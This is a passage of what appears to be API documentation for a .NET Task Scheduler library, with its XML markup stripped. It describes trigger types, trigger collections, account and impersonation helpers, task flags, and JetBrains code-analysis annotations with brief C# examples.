triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + 